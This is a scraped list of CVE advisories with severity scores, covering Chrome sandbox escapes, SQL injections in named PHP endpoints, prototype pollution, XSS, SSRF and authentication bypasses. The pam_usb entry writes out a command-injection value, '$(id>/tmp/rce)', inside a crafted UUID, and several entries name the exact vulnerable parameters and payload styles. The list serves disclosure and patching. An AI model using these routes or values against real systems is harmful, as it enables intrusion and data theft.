CVE-2026-9893	Use after free in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9894	Use after free in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9895	Out of bounds read in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9892	Inappropriate implementation in Skia in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9898	Insufficient validation of untrusted input in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9906	Out of bounds write in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9890	Use after free in XR in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-	Out of bounds read and write in Dawn in Google Chrome on Android prior to 148.0.7778.216 allowed a		More

2026-9889	remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	Details
CVE-2026-10012	Use after free in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9888	Use after free in WebView in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9885	Insufficient validation of untrusted input in UI in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9880	Insufficient validation of untrusted input in WebGL in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9877	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.3	More Details
CVE-2026-9900	Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-10020	Insufficient validation of untrusted input in Skia in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-10017	Out of bounds read in Headless in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)	8.3	More Details
CVE-2026-10000	Use after free in Passwords in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-10001	Use after free in PerformanceManager in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-10014	Use after free in WebMIDI in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9899	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-44698	Home Assistant is open source home automation software that puts local control and privacy first. Prior to 2026.4.1 for iOS and 2026.4.4 for Android, he Home Assistant Companion apps for Android and iOS expose a JavaScript bridge to the in-app WebView window.externalApp on Android and webkit.messageHandlers.getExternalAuth (alongside revokeExternalAuth and externalBus) on iOS. Two flaws expose the bridge to all frames (including cross-origin iframes) and unsanitized interpolation of the JavaScript callback identifier allows a cross-origin iframe rendered inside the Companion app to execute arbitrary JavaScript in the Home Assistant frontend's main-frame origin and exfiltrate the signed-in user's access token. This vulnerability is fixed in 2026.4.1 for iOS and 2026.4.4 for Android.	8.3	More Details
CVE-2026-9902	Use after free in Accessibility in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9915	Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9988	Use after free in WebRTC in Google Chrome on Linux prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-	Use after free in Views in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had		

2026-9993	compromised the renderer process to potentially perform a sandbox escape via a crafted PDF file. (Chromium security severity: High)	8.3	More Details
CVE-2026-9997	Use after free in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9998	Integer overflow in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9946	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9916	Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9937	Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-10105	agno 2.6.5 contains a SQL injection vulnerability in the ClickHouse vector database backend that allows attackers to inject arbitrary SQL expressions by supplying malicious metadata keys and values to the delete_by_metadata() method. Attackers can exploit the unsafe f-string interpolation in clickhousedb.py to delete all rows, target specific rows, or extract information through error-based or blind SQL injection techniques.	8.3	More Details
CVE-2026-9924	Heap buffer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9936	Use after free in GFX in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9925	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-32905	OpenClaw before 2026.5.4 contains an authorization bypass vulnerability in the bundled device-pair plugin that allows non-owner authorized chat senders to issue device-pairing bootstrap codes without proper scope validation. Attackers with chat command access can create setup codes to enroll devices with operator/node capabilities, granting persistent credentials until manual removal.	8.3	More Details
CVE-2026-9926	Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9932	Use after free in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9931	Use after free in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9948	Use after free in Views in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9994	Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9914	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-	Use after free in UI in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details

9951			
CVE-2026-9904	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9966	Integer overflow in XML in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9905	Use after free in Accessibility in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9970	Use after free in WebGL in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9982	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9974	Out of bounds write in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9975	Out of bounds read and write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9972	Uninitialized Use in Gamepad in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-42941	The Danelec MacGregor Voyage Data Recorder device includes a default username and password, with no enforced password change.	8.3	More Details
CVE-2026-42929	Danelec MacGregor Voyage Data Recorder includes default accounts with hard-coded credentials.	8.3	More Details
CVE-2026-9977	Insufficient validation of untrusted input in WebShare in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-9949	Use after free in Core in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.3	More Details
CVE-2026-46510	form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.	8.2	More Details
CVE-2026-45615	mouse07410/asn1c is an ASN.1 compiler. In 1.4 and earlier, a memory safety vulnerability was identified in the OER decoding skeleton files generated by asn1c (specifically INTEGER_oer.c). When parsing a maliciously crafted, zero-length OER payload for a variable-length, non-negative INTEGER type, the decoder fails to validate the required bytes before extracting the Most Significant Bit (MSB). This forces a precise 1-byte Heap Out-of-Bounds (OOB) Read. Because asn1c generated code is primarily deployed to parse untrusted network inputs (such as V2X network protocols, 5G telecom headers, or X.509 certificates), when the decoder processes untrusted network-originated input, a remote attacker can exploit this to cause a Denial of Service (DoS) or trigger incorrect integer interpretation in downstream applications (e.g., protocol state poisoning or logic bypass).	8.2	More Details
CVE-2018-25382	Zechat 1.5 contains an SQL injection vulnerability that allows unauthenticated attackers to extract database information by injecting SQL code through the uname parameter. Attackers can send crafted requests to profile.php with UNION-based SQL injection payloads to retrieve table names, column names, and sensitive data from the information_schema database.	8.2	More Details
CVE-2018-25385	E-Registrasi Pencak Silat 18.10 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the id_partai parameter. Attackers can send GET requests to monitor_nilai.php with crafted SQL payloads in the id_partai parameter to extract	8.2	More Details

	sensitive database information including admin credentials and user data.		
CVE-2018-25398	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the frm_passwd parameter. Attackers can send POST requests to main.php with crafted SQL payloads to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25386	HaPe PKH 1.1 contains multiple SQL injection vulnerabilities in admin/media.php that allow attackers to manipulate database queries by injecting SQL code through the 'id' parameter. An unauthenticated attacker can exploit the desa module (module=desa&act=hapus), while authenticated users can exploit the pengurus, fasilitas, and kelompok modules (for example act=print, act=editpengurus, act=editfasilitas, and act=editkelompok). Successful exploitation allows extraction of sensitive database information including the current user, database name, and DBMS version.	8.2	More Details
CVE-2026-35675	phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.	8.2	More Details
CVE-2018-25389	HaPe PKH 1.1 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the 'nama_kelompok' POST parameter sent to lap-anggota-kelompok-pdf.php. Attackers can send a crafted request with a time-based blind payload to infer and extract sensitive database information.	8.2	More Details
CVE-2018-25390	HaPe PKH 1.1 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the 'desa' POST parameter sent to lap-peserta-perdesa-pdf.php. Attackers can send a crafted request with a time-based blind payload to infer and extract sensitive database information.	8.2	More Details
CVE-2026-46037	In the Linux kernel, the following vulnerability has been resolved: ipv4: icmp: validate reply type before using icmp_pointers Extended echo replies use ICMP_EXT_ECHOREPLY as the outbound reply type. That value is outside the range covered by icmp_pointers[], which only describes the traditional ICMP types up to NR_ICMP_TYPES. Avoid consulting icmp_pointers[] for reply types outside that range, and use array_index_nospec() for the remaining in-range lookup. Normal ICMP replies keep their existing behavior unchanged.	8.2	More Details
CVE-2018-25394	Kados R10 GreenBee contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the release_id parameter of boards_buttons/update_release.php. The release_id value is concatenated directly into SQL statements without sanitization, allowing attackers to send a crafted GET request with a UNION-based payload to extract sensitive database information including the current user, database name, and DBMS version.	8.2	More Details
CVE-2018-25395	Kados R10 GreenBee contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the feature_id parameter of boards_buttons/update_feature.php. The feature_id value is concatenated directly into SQL statements without sanitization, allowing attackers to send a crafted GET request with a UNION-based payload to extract sensitive database information including the current user, database name, and DBMS version.	8.2	More Details
CVE-2018-25404	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the ticket_id parameter. Attackers can send GET requests to add_facnote.php with crafted SQL payloads to extract sensitive database information including version details and other data.	8.2	More Details
CVE-2018-25399	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the tick_lat and tick_lng parameters. Attackers can send GET requests to nearby.php with crafted SQL payloads to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25400	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'id' parameter. Attackers can send GET requests to the ajax/form_post.php endpoint with crafted SQL payloads to extract sensitive database information including schema names and other data.	8.2	More Details
CVE-2026-4868	GitLab has remediated an issue in GitLab EE affecting all versions from 18.8 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that, under certain conditions, could have allowed an authenticated user to cause specific Duo AI workflows to run under another user's identity due to improper user identity resolution when triggering Duo AI workflow runners.	8.2	More Details
CVE-2026-44712	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, a crafted UUID such as $(id>/tmp/rce) in the config causes root RCE when pamusb-conf --reset-pads is run. A USB device with a crafted filesystem UUID (some controllers allow this) can inject the payload at --add-device time. Also, userName from the XML config is passed to os.system() in pamusb-agent, which invokes a shell. This vulnerability is fixed in 0.8.7.	8.2	More Details

CVE-2026-45137	Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. This vulnerability is fixed in 1.0.2.	8.2	More Details
CVE-2026-44483	RVF (formerly Remix Validated Form) provides easy form validation and state management for React. From 6.0.0 to before 6.0.4 and 7.0.2, setPath in @rvf/set-get (used by @rvf/core to flatten incoming form data into a nested object) does not block the keys __proto__, constructor, or prototype when walking a path. Because field names in submitted form data are passed directly to setPath via preprocessFormData (and through parseFormData / validate), an attacker who can submit a form to a Remix / React Router app using the library can set arbitrary properties on Object.prototype of the running server process. This is a default-reachable prototype pollution primitive: no special configuration is required. Any endpoint that accepts a form via parseFormData or runs a validator created with createValidator is affected. This vulnerability is fixed in 6.0.4 and 7.0.2.	8.2	More Details
CVE-2026-44328	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware. On top of that, the DELETE /upi/v1/upNodesLinks/{upNodeRef} handler unconditionally dereferences upNode.UPF after the type-guarded async release, even though AN-typed nodes are constructed without a UPF object. As a result, a single unauthenticated DELETE /upi/v1/upNodesLinks/gNB1 request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the UpNodeDelete(upNodeRef) line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. This vulnerability is fixed in 4.2.2.	8.2	More Details
CVE-2026-42083	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, PCF Npcf_SMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI. In NewServer(), the smPolicyGroup route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as Npcf_PolicyAuthorization do attach RouterAuthorizationCheck before route registration. Because the middleware is missing, requests to the /npcf-smpolicycontrol/v1/sm-policies, /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}, /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update, and /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete endpoints can reach business logic even when no valid OAuth token is provided. This vulnerability is fixed in 4.2.2.	8.2	More Details
CVE-2026-35676	phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.	8.2	More Details
CVE-2018-25405	eNdonesia Portal 8.7 contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through parameters in mod.php. Attackers can inject SQL through the artid, cid, did, contid, and aboutid parameters to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25406	eNdonesia Portal 8.7 contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through parameters in mod.php. Attackers can inject SQL through the artid, cid, did, contid, and aboutid parameters across publisher, diskusi, galeri, content, and about modules to extract database credentials, usernames, and version information.	8.2	More Details
CVE-2018-25407	eNdonesia Portal 8.7 contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through parameters in mod.php. Attackers can inject SQL through the artid, cid, did, contid, and aboutid parameters across publisher, diskusi, galeri, content, and about modules to extract database information including usernames, database names, and version details.	8.2	More Details
CVE-2026-46509	deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.	8.2	More Details
CVE-2018-	MGB OpenSource Guestbook 0.7.0.2 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'id' parameter. Attackers	8.2	More

25411	can send GET requests to email.php with crafted SQL payloads in the 'id' parameter to extract sensitive database information including table and column names.		Details
CVE-2026-45627	Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, the unauthenticated GET /api/app-images/logo endpoint reflects a user-supplied color query parameter into the body of an SVG document via strings.ReplaceAll with no escaping. The substitution lands inside a <style> element of the embedded logo.svg, allowing an attacker to close the style block and inject executable <script> content. Because the response is served as image/svg+xml and Arcane sets no Content-Security-Policy or X-Content-Type-Options headers, navigating a logged-in admin victim to a crafted URL executes attacker-controlled JavaScript in Arcane's origin and rides the victim's HttpOnly JWT cookie to fully compromise the admin account. This vulnerability is fixed in 1.19.0.	8.2	More Details
CVE-2018-25413	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'q' parameter. Attackers can send GET requests to search.php with crafted SQL payloads to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25414	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the actor parameter. Attackers can send GET requests to actor.php with crafted SQL payloads in the actor parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25415	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the director parameter. Attackers can send GET requests to director.php with crafted SQL payloads in the director parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25416	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the country parameter. Attackers can send GET requests to country.php with crafted SQL payloads in the country parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25417	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the quality parameter. Attackers can send GET requests to quality.php with crafted SQL payloads in the quality parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25418	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the year parameter. Attackers can send GET requests to year.php with crafted SQL payloads in the year parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25419	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the genre parameter. Attackers can send GET requests to genre.php with crafted SQL payloads in the genre parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2018-25420	AiOPMSD Final 1.0.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'id' parameter. Attackers can send GET requests to watch.php with crafted SQL payloads to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2026-44971	GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .	8.2	More Details
CVE-2018-25424	Gate Pass Management System 2.1 contains an SQL injection vulnerability that allows unauthenticated attackers to bypass authentication by injecting SQL code through the login and password parameters. Attackers can submit crafted POST requests to login-exec.php with SQL injection payloads in form parameters to authenticate without valid credentials and gain access to the application.	8.2	More Details
CVE-2018-25425	Yot CMS 3.3.1 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the aid and cid parameters. Attackers can send GET requests to index.php with crafted SQL payloads in the aid or cid parameters to extract database information including table and column names.	8.2	More Details
CVE-2026-9312	A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to send crafted requests to internal services by exploiting insufficient input validation in an upload endpoint. By injecting path traversal content into request parameters, an attacker could bypass the intended request flow and redirect internal API calls, potentially accessing internal services and exposing sensitive credentials. This vulnerability affected all versions of GitHub Enterprise Server prior to	8.2	More Details

	3.22 and was fixed in versions 3.16.20, 3.17.17, 3.18.11, 3.19.8, 3.20.4, and 3.21.1. This vulnerability was reported via the GitHub Bug Bounty program.		
CVE-2026-45089	Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. This vulnerability is fixed in 2.13.0.	8.2	More Details
CVE-2018-25403	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the p1 parameter. Attackers can send GET requests to city_graph.php with crafted SQL payloads to extract sensitive database information including schema names and other data.	8.2	More Details
CVE-2018-25402	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the p1 parameter. Attackers can send GET requests to inc_types_graph.php with crafted SQL payloads to extract sensitive database information including schema names and other data.	8.2	More Details
CVE-2018-25401	The Open ISES Project 3.30A contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the p1 parameter. Attackers can send GET requests to sever_graph.php with crafted SQL payloads to extract sensitive database information including schema names and other data.	8.2	More Details
CVE-2026-44358	Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. Prior to 1.0.1, the action's entrypoint.sh invoked DangerJS from the caller's workspace after copying the fork's checkout into it, creating an untrusted search path for both binary resolution and Node.js module resolution. A fork pull request processed by a pull_request_target workflow could therefore cause fork-supplied code to execute inside the action container in place of the action's own code. This vulnerability is fixed in 1.0.1.	8.2	More Details
CVE-2018-25422	MOGG web simulator Script contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL commands by injecting malicious code through the id parameter. Attackers can send GET requests to play.php with crafted SQL payloads in the id parameter to extract sensitive database information including usernames and other data.	8.2	More Details
CVE-2026-45302	parse-nested-form-data is a tiny node module for parsing FormData by name into objects and arrays. Prior to version 1.0.1, parseFormData() walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with __proto__, or contains .__proto__. mid-path, causes the parser to traverse onto Object.prototype and assign properties there, polluting the prototype chain of every plain object in the running process. This issue has been patched in version 1.0.1.	8.2	More Details
CVE-2026-24752	Kiteworks is a private data network (PDN). Prior to version 9.3.0, a reflected XSS vulnerability in Kiteworks Secure Data Forms could allow an external attacker to trick a user into executing arbitrary JavaScript code. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	8.2	More Details
CVE-2026-45545	Nextcloud is an open source content collaboration platform. From versions 0.7.0 to before 0.7.7, 0.8.0 to before 0.8.10, 0.9.0 to before 0.9.8, and 1.0.0 to before 1.0.4, an authenticated attacker with access to the Tables app may be able to execute arbitrary up to 20 bytes long SQL queries, through a stored injection. With carefully crafted input it is possible to break out of the length limitation. The attacker could use this to extract information from the database, or modify data. This issue has been patched in versions 0.7.7, 0.8.10, 0.9.8, 1.0.4, and 2.0.0.	8.2	More Details
CVE-2026-42735	Authentication Bypass Using an Alternate Path or Channel vulnerability in Iqonic Design KiviCare kivicare-clinic-management-system allows Password Recovery Exploitation.This issue affects KiviCare: from n/a through <= 4.3.0.	8.2	More Details
